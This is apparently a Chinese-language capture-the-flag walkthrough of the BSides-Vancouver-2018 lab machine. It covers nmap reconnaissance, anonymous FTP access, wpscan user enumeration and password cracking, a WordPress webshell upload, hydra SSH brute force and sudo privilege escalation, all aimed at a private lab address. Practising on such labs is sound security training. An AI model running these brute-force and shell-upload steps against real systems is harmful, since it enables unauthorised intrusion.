开发网站需求设计网站集约化建设优势
BSides-Vancouver-2018 ftp匿名访问、hydra爆破22端口、nc瑞士军刀、提权
一、信息收集 2025.3.15 AM 08:50
1、主机发现
arp-scan -l
nmap -sn 192.168.66.24/0
2、端口扫描
简略扫描
nmap -sS -sV 192.168.66.183
简单扫描端口21/tcp open ftp vsftpd 2.3.5
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
漏洞扫描
nmap --script=vuln -p 21,22,80 192.168.66.183
扫描端口历史漏洞PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
|_ /robots.txt: Robots file详细扫描
nmap -sS -A -T4 -p- 192.168.66.183
详细扫描21/tcp open ftp vsftpd 2.3.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 65534 65534 4096 Mar 03 2018 public
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.66.129
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 2.3.5 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 85:9f:8b:58:44:97:33:98:ee:98:b0:c1:85:60:3c:41 (DSA)
| 2048 cf:1a:04:e1:7b:a3:cd:2b:d1:af:7d:b3:30:e0:a0:9d (RSA)
|_ 256 97:e5:28:7a:31:4d:0a:89:b2:b0:25:81:d5:36:63:4c (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/backup_wordpress
|_http-title: Site doesn't have a title (text/html).
3、扫描目录
dirb http://192.168.66.183 dirsearch -u http://192.168.66.183/ -e * -i 200 nikto -h 192.168.66.183 -p 80 gobuster dir -u http://192.168.66.183/backup_wordpress/-t30 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -s 200,301,302
4、端口访问
Ⅰ、21端口
nc 192.168.66.183 21
这里有个匿名访问，我们先尝试连接21端口，我们拿nc连一下
这里我们连接成功
这里我们得到了几个账户，但是还没有密码，我们可以尝试爆破。
用wpscan扫描WordPress，暴破后台用户名
wpscan --url http://192.168.66.183/backup_wordpress --enumerate u
这两个账户我们再wordpress里面也能找到这两个账户
wpscan --url http://192.168.66.183/backup_wordpress --passwords /usr/share/wordlists/top10000password.txt --usernames john
这里我们也爆出了账户密码，我们等了一下
Ⅱ、80端口
这里说服务已启动，我们回归目录扫描 我们扫描出来一个robots.txt，然后因该是提示我们有备份文件，我们访问一下
这是一个wordpress备份，按经验来说应该有文件上传点，我们发现了还有一个管理员john
5、隧道建立
我们登录了一个账户
这里也可以上传木马，或者在插件出上传一句话也可以
我们连接到了，先修复一下shell
python -c 'import pty;pty.spawn("/bin/bash")'
6、提权
这里home目录下有几个用户，只有anne这个用户可以ssh连接，我们hydra爆破一下
hydra -L 1.txt -P /usr/share/wordlists/rockyou.txt 192.168.66.183 ssh
ok，我们爆破出来了账户密码，我们ssh连接一下
这里我们sudo -l显示我们对所有文件都有root权限，我们直接sudo su root即可
7、扩展
这里还有其他提权方式
1，查找具有777权限的文件find / -type f -perm 0777 2>/dev/null关键参数解析：
sudo
以 root 权限执行，避免因目录不可读导致的遗漏（若以普通用户身份运行，可能漏掉大量文件）。
-perm 0777
严格匹配权限为 777 的文件（八进制写法更规范）。
2>/dev/null
忽略所有错误（如权限拒绝、文件不存在等）。
后续我也会出更多打靶文章，希望大家关注！谢谢